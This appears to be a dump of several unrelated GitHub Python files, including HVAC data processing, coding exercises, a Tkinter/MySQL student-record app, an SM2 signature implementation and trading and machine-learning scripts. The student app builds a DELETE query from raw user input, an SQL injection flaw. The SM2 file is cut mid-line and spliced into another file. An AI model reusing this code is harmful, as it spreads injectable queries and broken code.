auxClLDBOut.insert(0,'LDB Aux Clg')\n auxClLWBOut = list(auxClLWB)\n auxClLWBOut.insert(0,'LWB Aux Clg')\n auxClLHROut = list(auxClLHR)\n auxClLHROut.insert(0,'LHR Aux Clg') \n results.append(auxClTotOut)\n results.append(auxClSenOut)\n results.append(auxClEDBOut)\n results.append(auxClEWBOut)\n results.append(auxClEHROut)\n results.append(auxClLDBOut)\n results.append(auxClLWBOut)\n results.append(auxClLHROut)\n## print auxClTotOut\n## print auxClSenOut\n## print auxClEDBOut\n## print auxClEWBOut \n## print auxClEHROut\n## print auxClLDBOut\n## print auxClLWBOut\n## print auxClLHROut\n\ndef mainHtData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[htColumn] == 'Main Htg':\n mainHtCap.append(row[htTotColumn].replace(',',''))\n mainHtEDB.append(row[htEDBColumn].replace(',',''))\n mainHtLDB.append(row[htLDBColumn].replace(',',''))\n mainHtCapOut = list(mainHtCap)\n mainHtCapOut.insert(0,'Total Cap. Main Htg')\n mainHtEDBOut = list(mainHtEDB)\n mainHtEDBOut.insert(0,'EDB Main Htg')\n mainHtLDBOut = list(mainHtLDB)\n mainHtLDBOut.insert(0,'LDB Main Htg') \n results.append(mainHtCapOut)\n results.append(mainHtEDBOut)\n results.append(mainHtLDBOut)\n## print mainHtCapOut\n## print mainHtEDBOut\n## print mainHtLDBOut\n\ndef auxHtData():\n csvFileObj.seek(0)\n for row in readerObj:\n if row[htColumn] == 'Aux Htg':\n auxHtCap.append(row[htTotColumn].replace(',',''))\n auxHtEDB.append(row[htEDBColumn].replace(',',''))\n auxHtLDB.append(row[htLDBColumn].replace(',',''))\n auxHtCapOut = list(auxHtCap)\n auxHtCapOut.insert(0,'Total Cap. Aux Htg')\n auxHtEDBOut = list(auxHtEDB)\n auxHtEDBOut.insert(0,'EDB Aux Htg')\n auxHtLDBOut = list(auxHtLDB)\n auxHtLDBOut.insert(0,'LDB Aux Htg') \n results.append(auxHtCapOut)\n results.append(auxHtEDBOut)\n results.append(auxHtLDBOut)\n## print auxHtCapOut\n## print auxHtEDBOut\n## print auxHtLDBOut\n\n# End of function modules \n \ndef main(): # Comment out functions as required to enable/disable output of data.\n spaceNumbers()\n diffuserData()\n nomVentData()\n## ahuVentData()\n infilData()\n retnData()\n exhaustData()\n rmExhData()\n mainClData()\n## auxClData()\n mainHtData()\n## auxHtData() \n\nmain()\n\n# Writes results list to CSV file.\nwith open(output, \"wb+\") as resultFile:\n\twr = csv.writer(resultFile, dialect='excel')\n\twr.writerows(zip(*results))\n\ncsvFileObj.close()\nexit()\t\n\n","repo_name":"jpstaub/Revit-Dynamo-MEP","sub_path":"TRACE700/TRACE Room Checksums Full Processor.py","file_name":"TRACE Room Checksums Full Processor.py","file_ext":"py","file_size_in_byte":10483,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"25052304657","text":"def solution(schedule): #상담을 받지 못한 [x] 학생수 찾는 함수\n answer = [] #상담을 받지 못한 학생 리스트\n for idx, i in enumerate(schedule):\n #idx: 리스트내 요소 수\n #i: 리스트내 요소 값\n #for 인덱스 번호, 값 enumerate(리스트)\n #값이 X 이면 answer(결과) 리스트에 요소번호를 저장\n if i == \"X\": #i가 X이면 상담을 못받음\n answer.append(idx+1) #X를 받은 학생의 번호 저장\n return answer\n\nschedule = [\"O\", \"X\", \"X\", \"O\", \"O\", \"O\", \"X\", \"O\", \"X\", \"X\"]\nret = solution(schedule)\n\n\nprint(\"solution 함수의 반환 값은\", ret, \"입니다.\")","repo_name":"krsthg/python3","sub_path":"COS PRO_2/4차시/문제 1.py","file_name":"문제 1.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12634043467","text":"#################################\n# PROJECT EULER - PROBLEM 024 #\n#################################\nimport time\nfrom itertools import permutations\n\n\nstart = time.time()\n\nN = 10**6\nDIGITS = list(range(0, 10))\nDIGIT_PERMUTATIONS = list(permutations(DIGITS))\n\nnumber_strings = [str(k) for k in DIGIT_PERMUTATIONS[N - 1]]\nanswer = int(''.join(number_strings))\nprint(answer)\n\nend = time.time()\nprint(f\"Program runtime: {end - start} seconds\")\n","repo_name":"pzuehlke/Project-Euler-Solutions","sub_path":"problem_024.py","file_name":"problem_024.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38787904643","text":"\"\"\"\nListing 2.4\n\nUse the IntEnum class for enumerations where the members need to behave\nmore like numbers e.g. to support comparisons\n\"\"\"\nimport enum\n\n\nclass BugStatus(enum.IntEnum):\n new = 7\n incomplete = 6\n invalid = 5\n wont_fix = 4\n in_progress = 3\n fix_committed = 2\n fix_released = 1\n\n\ndef main():\n print(\"Ordered by value:\")\n print(\"\\n\".join(\" \" + s.name for s in sorted(BugStatus)))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"8563a236e65cede7b14220e65c70ad5718144a3/python3-standard-library-solutions","sub_path":"Chapter02/0004_enum_intenum.py","file_name":"0004_enum_intenum.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30463032673","text":"from tkinter import *\r\nimport mysql.connector\r\nclass Main:\r\n def __init__(self):\r\n self.a = Tk()\r\n self.a.title('STUDENT')\r\n self.a.geometry('900x600')\r\n self.a.resizable(0,0)\r\n self.a.config(bg='#17abc2')\r\n self.db = mysql.connector.connect(\r\n host='localhost',\r\n user='root',\r\n password='',\r\n database = 'st')\r\n self.cursor = self.db.cursor()\r\n def btn(self):\r\n a=self.a\r\n f = Frame(a,height=500,width=200,bg='white')\r\n f.place(x=20,y=50)\r\n add = Button(f,text='ADDSTUDENT',fg='white',command=self.add,bg='#17abc2',font=('Times New Roman',16,'bold'),pady=14,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n add.place(x=20,y=20)\r\n update = Button(f,text='UPDATE',command=self.update,fg='white',bg='#17abc2',font=('Times New Roman',16,'bold'),padx=29,pady=12,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n update.place(x=20,y=100)\r\n delete = Button(f,text='DELETE',command=self.delete,fg='white',bg='#17abc2',font=('Times New Roman',16,'bold'),padx=30,pady=14,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n delete.place(x=20,y=180)\r\n show = Button(f,text='SHOW',command=self.show,fg='white',bg='#17abc2',font=('Times New Roman',16,'bold'),padx=40,pady=14,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n show.place(x=20,y=260)\r\n clr = Button(f,text='CLEAR',command=self.clear,fg='white',bg='#17abc2',font=('Times New Roman',16,'bold'),padx=36,pady=14,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n clr.place(x=20,y=340)\r\n exi = Button(f,text='EXIT',command=self.a.destroy,fg='white',bg='#17abc2',font=('Times New Roman',16,'bold'),padx=48,pady=10,activebackground='#f2da00',relief='ridge',cursor='hand2')\r\n exi.place(x=20,y=420)\r\n def add(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='ADD STUDENT DETAILS',font=('Times New Roman',30,'bold'),bg='#17abc2',fg='white').place(x=40,y=10)\r\n Label(f,text='StudentNumber',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=80)\r\n Label(f,text='StudentName',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=80)\r\n Label(f,text='StudentAge',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=180)\r\n Label(f,text='StudentMark',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=180)\r\n Label(f,text='StudentMobile',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=280)\r\n Label(f,text='StudentDegree',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=280)\r\n self.num_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.num_1.place(x=10,y=130)\r\n self.name_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.name_1.place(x=300,y=130)\r\n self.age_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.age_1.place(x=10,y=220)\r\n self.mark_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.mark_1.place(x=300,y=220)\r\n self.mobile_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.mobile_1.place(x=10,y=320)\r\n self.degree_1= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.degree_1.place(x=300,y=320)\r\n btn_1=Button(f,text='Submit',fg='#17abc2',bg='white',font=('Times New Roman',16,'bold'),padx=20,pady=4,activebackground='#f2da00',cursor='hand2',command=self.add_proces)\r\n btn_1.place(x=200,y=390)\r\n def add_proces(self):\r\n num=self.num_1.get()\r\n name=self.name_1.get()\r\n age=self.age_1.get()\r\n mark=self.mark_1.get()\r\n mobile=self.mobile_1.get()\r\n degree=self.degree_1.get()\r\n qry = 'INSERT INTO stud (num,name,age,mark,mobile,degree) values (%s,%s,%s,%s,%s,%s)'\r\n tot = (num,name,age,mark,mobile,degree)\r\n self.cursor.execute(qry,tot)\r\n self.db.commit()\r\n messagebox.showinfo('Sucessful','Sucessful ! ! ! !')\r\n def add_update(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='ADD STUDENT DETAILS',font=('Times New Roman',30,'bold'),bg='#17abc2',fg='white').place(x=40,y=10)\r\n Label(f,text='StudentNumber',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=80)\r\n Label(f,text='StudentName',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=80)\r\n Label(f,text='StudentAge',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=180)\r\n Label(f,text='StudentMark',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=180)\r\n Label(f,text='StudentMobile',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=280)\r\n Label(f,text='StudentDegree',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=300,y=280)\r\n self.num= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.num.place(x=10,y=130)\r\n self.name= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.name.place(x=300,y=130)\r\n self.age= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.age.place(x=10,y=220)\r\n self.mark= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.mark.place(x=300,y=220)\r\n self.mobile= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.mobile.place(x=10,y=320)\r\n self.degree= Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.degree.place(x=300,y=320)\r\n btn=Button(f,text='Update',fg='#17abc2',bg='white',font=('Times New Roman',16,'bold'),padx=20,pady=4,activebackground='#f2da00',cursor='hand2',command=self.addup_proces)\r\n btn.place(x=200,y=390)\r\n def addup_proces(self):\r\n num=self.num.get()\r\n name=self.name.get()\r\n age=self.age.get()\r\n mark=self.mark.get()\r\n mobile=self.mobile.get()\r\n degree=self.degree.get()\r\n qry = 'UPDATE stud SET name = %s,age= %s,mark= %s,mobile= %s,degree = %s WHERE num = %s '\r\n val=(name,age,mark,mobile,degree,num)\r\n self.cursor.execute(qry,val)\r\n self.db.commit()\r\n messagebox.showinfo('Result','Update Successfully ! ')\r\n def update(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='UPDATE STUDENT DETAILS',font=('Times New Roman',28,'bold'),bg='#17abc2',fg='white').place(x=34,y=10)\r\n Label(f,text='StudentNumber',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=180)\r\n self.search_num = Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.search_num.place(x=250,y=184)\r\n btn=Button(f,text='Submit',fg='#17abc2',bg='white',font=('Times New Roman',16,'bold'),padx=20,pady=4,activebackground='#f2da00',cursor='hand2',command=self.update_pro)\r\n btn.place(x=200,y=250)\r\n def update_pro(self):\r\n search=self.search_num.get()\r\n self.cursor.execute('select * from stud ')\r\n qry=self.cursor.fetchall()\r\n for i in qry:\r\n try:\r\n if i[0] == int(search):\r\n self.add_update()\r\n self.num.insert(INSERT,i[0])\r\n self.name.insert(INSERT,i[1])\r\n self.age.insert(INSERT,i[2])\r\n self.mark.insert(INSERT,i[3])\r\n self.mobile.insert(INSERT,i[4])\r\n self.degree.insert(INSERT,i[5])\r\n except:\r\n messagebox.error('error','error')\r\n def delete(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='DELETE STUDENT DETAILS',font=('Times New Roman',28,'bold'),bg='#17abc2',fg='white').place(x=34,y=10)\r\n Label(f,text='StudentNumber',font=('Times New Roman',20,'bold'),bg='#17abc2',fg='white').place(x=10,y=180)\r\n self.search_delnum = Entry(f,bd=0,font=('Times New Roman',18,'normal'),bg='white',fg='#17abc2',width=17)\r\n self.search_delnum.place(x=250,y=184)\r\n btn=Button(f,text='Submit',fg='#17abc2',bg='white',font=('Times New Roman',16,'bold'),padx=20,pady=4,activebackground='#f2da00',cursor='hand2',command=self.del_pro)\r\n btn.place(x=200,y=250)\r\n def del_pro(self):\r\n del_num = self.search_delnum.get()\r\n qry = \"DELETE from stud WHERE num = {} \".format(del_num)\r\n self.cursor.execute(qry)\r\n self.db.commit()\r\n messagebox.showinfo('Result','Deleted Successfully !!!')\r\n def show(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n t=ttk.Treeview(fr)\r\n t.place(x=0,y=0,height=600)\r\n s=Scrollbar(fr,orient='vertical',command=t.yview,bg='white')\r\n s.place(x=600,y=0,height=500)\r\n t.configure(xscrollcommand=s.set)\r\n t['columns']=('1','2','3','4','5','6')\r\n t['show']='headings'\r\n t.column('1',width=100)\r\n t.column('2',width=100)\r\n t.column('3',width=100)\r\n t.column('4',width=100)\r\n t.column('5',width=100)\r\n t.column('6',width=100)\r\n t.heading('1',text='StudentID')\r\n t.heading('2',text='StudentName')\r\n t.heading('3',text='StudentAge')\r\n t.heading('4',text='StudentMark')\r\n t.heading('5',text='StudentMobile')\r\n t.heading('6',text='StudentDegree')\r\n self.cursor.execute('SELECT * FROM stud ')\r\n qry = self.cursor.fetchall()\r\n for i in qry:\r\n t.insert('','end',values=(i[0],i[1],i[2],i[3],i[4],i[5]))\r\n print(i)\r\n def clear(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='CLEAR STUDENT PAGE',font=('Times New Roman',30,'bold'),bg='#17abc2',fg='white').place(x=40,y=200)\r\n def home(self):\r\n a = self.a\r\n fr=Frame(a,height=500,width=620,bg='white')\r\n fr.place(x=250,y=50)\r\n f = Frame(fr,height=450,width=570,bg='#17abc2')\r\n f.place(x=25,y=25)\r\n Label(f,text='WELCOME TO SYSTECH',font=('Times New Roman',30,'bold'),bg='#17abc2',fg='white').place(x=40,y=200)\r\nc=Main()\r\nc.btn()\r\nc.home()\r\nc.a.mainloop()","repo_name":"yosuva4/Student_record","sub_path":"student_record.py","file_name":"student_record.py","file_ext":"py","file_size_in_byte":11408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32029349732","text":"k = int(input())\r\nm = int(input())\r\nposition = 0\r\n\r\nfriends = [i for i in range(1,k+1)]\r\nfriendsCounter = []\r\n\r\nfor i in range(m):\r\n position = int(input())\r\n for j in range(len(friends)):\r\n if (j+1) % position != 0:\r\n friendsCounter.append(friends[j])\r\n friends = friendsCounter\r\n friendsCounter = []\r\n\r\nfor i in friends:\r\n print(i)\r\n\r\n","repo_name":"ABehniwal/DMOJ","sub_path":"CCC '14 S1 - Party Invitation.py","file_name":"CCC '14 S1 - Party Invitation.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39402445908","text":"# -*- coding=utf-8 -*-\n# @Time:2022/7/30 17:24\n# @Auther:程泽锋\n# @File :SM2_2P_sig.py\n# @software:PyCharm\n\n'''\n在GMSSL库的基础上,对CryptSM2类进行改进,从而实现了SM2 2P签名\n\n项目代码说明:通过函数名与print()函数打印内容可知晓\n\n运行指导:\n1.密钥均为代码自行生成\n2.可以通过修改M,Z参数对不同的ID(Z),消息(M)进行修改\n3.其他地方无需修改,运行代码即可测试\n'''\n\n\nfrom gmssl import sm3, func\n\ndefault_ecc_table = {\n 'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',\n 'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',\n 'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7'\\\n 'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',\n 'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',\n 'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',\n 'g_re':'32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7'\\\n '43c8c95c0b098863a642311c9496deac2f56788239d5b8c0fd20cd1adec60f5f'\n}\nclass CryptSM2(object):\n\n def __init__(self, private_key, public_key, ecc_table=default_ecc_table):\n self.private_key = private_key\n self.public_key = public_key\n self.para_len = len(ecc_table['n'])\n self.ecc_a3 = (\n int(ecc_table['a'], base=16) + 3) % int(ecc_table['p'], base=16)\n self.ecc_table = ecc_table\n\n def _kg(self, k, Point): # kP运算\n Point = '%s%s' % (Point, '1')\n mask_str = '8'\n for i in range(self.para_len - 1):\n mask_str += '0'\n mask = int(mask_str, 16)\n Temp = Point\n flag = False\n for n in range(self.para_len * 4):\n if (flag):\n Temp = self._double_point(Temp)\n if (k & mask) != 0:\n if (flag):\n Temp = self._add_point(Temp, Point)\n else:\n flag = True\n Temp = Point\n k = k << 1\n return self._convert_jacb_to_nor(Temp)\n\n def _double_point(self, Point): # 倍点\n l = len(Point)\n len_2 = 2 * self.para_len\n if l< self.para_len * 2:\n return None\n else:\n x1 = int(Point[0:self.para_len], 16)\n y1 = int(Point[self.para_len:len_2], 16)\n if l == len_2:\n z1 = 1\n else:\n z1 = int(Point[len_2:], 16)\n\n T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)\n T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)\n T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)\n T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)\n T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)\n T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)\n T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)\n T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)\n T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)\n T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)\n T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)\n T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)\n z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)\n T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)\n T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)\n x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)\n\n if (T5 % 2) == 1:\n T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16)\n else:\n T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)\n\n T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)\n y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)\n\n form = '%%0%dx' % self.para_len\n form = form * 3\n return form % (x3, y3, z3)\n\n def _add_point(self, P1, P2): # 点加函数,P2点为仿射坐标即z=1,P1为Jacobian加重射影坐标\n len_2 = 2 * self.para_len\n l1 = len(P1)\n l2 = len(P2)\n if (l1 < len_2) or (l2 < len_2):\n return None\n else:\n X1 = int(P1[0:self.para_len], 16)\n Y1 = int(P1[self.para_len:len_2], 16)\n if (l1 == len_2):\n Z1 = 1\n else:\n Z1 = int(P1[len_2:], 16)\n x2 = int(P2[0:self.para_len], 16)\n y2 = int(P2[self.para_len:len_2], 16)\n\n T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)\n T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)\n T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)\n T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)\n T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)\n T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)\n T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)\n T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)\n Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)\n T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)\n T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)\n T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)\n T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)\n X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)\n T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)\n T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)\n T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)\n Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)\n\n form = '%%0%dx' % self.para_len\n form = form * 3\n return form % (X3, Y3, Z3)\n\n def _convert_jacb_to_nor(self, Point): # Jacobian加重射影坐标转换成仿射坐标\n len_2 = 2 * self.para_len\n x = int(Point[0:self.para_len], 16)\n y = int(Point[self.para_len:len_2], 16)\n z = int(Point[len_2:], 16)\n z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))\n z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)\n z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)\n x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)\n y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)\n z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)\n if z_new == 1:\n form = '%%0%dx' % self.para_len\n form = form * 2\n return form % (x_new, y_new)\n else:\n return None\n\n def verify(self, Sign, data):\n # 验签函数,sign签名r||s,E消息hash,public_key公钥\n r = int(Sign[0:self.para_len], 16)\n s = int(Sign[self.para_len:2*self.para_len], 16)\n print(len(data))\n e = int(data.hex(), 16)\n t = (r + s) % int(self.ecc_table['n'], base=16)\n if t == 0:\n return 0\n P1 = self._kg(s, self.ecc_table['g'])\n P2 = self._kg(t, self.public_key)\n # print(P1)\n # print(P2)\n if P1 == P2:\n P1 = '%s%s' % (P1, 1)\n P1 = self._double_point(P1)\n else:\n P1 = '%s%s' % (P1, 1)\n P1 = self._add_point(P1, P2)\n P1 = self._convert_jacb_to_nor(P1)\n x = int(P1[0:self.para_len], 16)\n return (r == ((e + x) % int(self.ecc_table['n'], base=16)))\n\n\n def sign(self, data, K): # 签名函数, data消息的hash,private_key私钥,K随机数,均为16进制字符串\n E = data.hex() # 消息转化为16进制字符串\n e = int(E, 16)\n\n d = int(self.private_key, 16)\n k = int(K, 16)\n\n P1 = self._kg(k, self.ecc_table['g'])\n\n x = int(P1[0:self.para_len], 16)\n R = ((e + x) % int(self.ecc_table['n'], base=16))\n if R == 0 or R + k == int(self.ecc_table['n'], base=16):\n return None\n d_1 = pow(d+1, int(self.ecc_table['n'], base=16) - 2, int(self.ecc_table['n'], base=16))\n S = (d_1*(k + R) - R) % int(self.ecc_table['n'], base=16)\n if S == 0:\n return None\n else:\n return '%064x%064x' % (R,S)\n\n###################后续代码为添加的代码###############################\n def inverse_mod_prime(self,a:int,primeMod:int):\n assert 0 int:\n n=len(s)\n dic=dict()\n longest=l=0\n for r in range(n):\n dic[s[r]]=dic.get(s[r],0)+1\n if dic.get(s[r])>1:\n while dic.get(s[r])>1:\n dic[s[l]]-=1\n l+=1\n longest=max(longest,r-l+1)\n return longest","repo_name":"mnhaqq/A2SV-problems","sub_path":"week_6/longest_substring_without_repeating_chars.py","file_name":"longest_substring_without_repeating_chars.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70905336465","text":"import jqdata\nfrom jqlib.technical_analysis import *\n\n\ndef initialize(context):\n # 定义一个全局变量, 保存要操作的股票\n # 000001(股票:平安银行)\n g.security = '000001.XSHE'\n # 设定沪深300作为基准\n set_benchmark('000300.XSHG')\n # 开启动态复权模式(真实价格)\n set_option('use_real_price', True)\n\n\ndef handle_data(context, data):\n #获取初始化中要操作的股票\n security = g.security\n #调用MACD函数,并获取股票的MACD指标的DIF,DEA和MACD的值\n macd_diff, macd_dea, macd_macd = MACD(security,\n check_date=context.current_dt,\n SHORT=12,\n LONG=26,\n MID=9)\n # 取得当前的现金\n cash = context.portfolio.cash\n # 如果当前有余额,并且DIFF、DEA均为正,DIFF向上突破DEA\n if macd_diff > 0 and macd_dea > 0 and macd_diff > macd_dea:\n # 用所有 cash 买入股票\n order_value(security, cash)\n # 记录这次买入\n log.info(\"买入股票 %s\" % (security))\n # 如果DIFF、DEA均为负,DIFF向下跌破DEA,并且目前有头寸\n elif macd_diff < 0 and macd_dea < 0 and macd_diff < macd_dea and context.portfolio.positions[\n security].closeable_amount > 0:\n # 全部卖出\n order_target(security, 0)\n # 记录这次卖出\n log.info(\"卖出股票 %s\" % (security))\n","repo_name":"articuly/financial_data_analysis_basics","sub_path":"joinquant/MACD指标量化策略实战案例.py","file_name":"MACD指标量化策略实战案例.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"38137371188","text":"import numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import RandomForestClassifier\n\ndf = pd.read_csv('hw2_data_2.txt', sep='\\t')\nX_train, y_train = np.array(df.iloc[:700, :-1]), np.array(df.iloc[:700, -1])\nX_test, y_test = np.array(df.iloc[700:, :-1]), np.array(df.iloc[700:, -1])\n\noob_scores = []\ntrees = list(range(10, 510, 10))\n\nfor i in trees:\n\tforest_clf = RandomForestClassifier(n_estimators=i, oob_score=True)\n\tforest_clf.fit(X_train, y_train)\n\toob_scores.append(1-forest_clf.oob_score_)\n\tprint(\"The OOB error rate for %s trees is: %.4f\" %(i, 1-forest_clf.oob_score_))\n\n## plot oob error rate v.s. the number of estimators\nfig, ax = plt.subplots()\nax.plot(trees, oob_scores)\nax.set(xlabel='the number of trees', ylabel='OOB error rate',\n \t\ttitle='OOB error rate v.s. the number of trees')\n\nplt.show()\n\n## The oob_score of 500 trees\ntarget = oob_scores[-1]\nindex = -1\n\nfor i in range(len(oob_scores)):\n\tif oob_scores[i] <= target + 0.002:\n\t\tindex = i\n\t\tbreak\n\n## Fit the model \nnum_trees = (index + 1) * 10\nclf = RandomForestClassifier(n_estimators=num_trees)\nclf.fit(X_train, y_train)\n\nprint(\"The error rate for the random forest classifier with %s estimators is %.4f\" \n\t\t\t\t\t\t\t\t\t\t%(num_trees, 1-clf.score(X_test,y_test)))\n\n## Rank the variables by importance\nimportances = clf.feature_importances_\nindices = np.argsort(importances)[::-1]\nfeat_labels = df.columns[:-1]\n\nfor f in range(X_train.shape[1]):\n\tprint (\"%2d) %-*s %f\" %(f + 1, 30,\n\t\t\t\t\t\t\tfeat_labels[indices[f]],\n\t\t\t\t\t\t\timportances[indices[f]]))","repo_name":"Kuluso97/Emory_cs534_hw2","sub_path":"q4_script.py","file_name":"q4_script.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9594881394","text":"from tkinter import*\r\nfrom PIL import ImageTk,Image\r\nimport sqlite3\r\n\r\nroot = Tk()\r\nroot.title(\"DataBase Learning 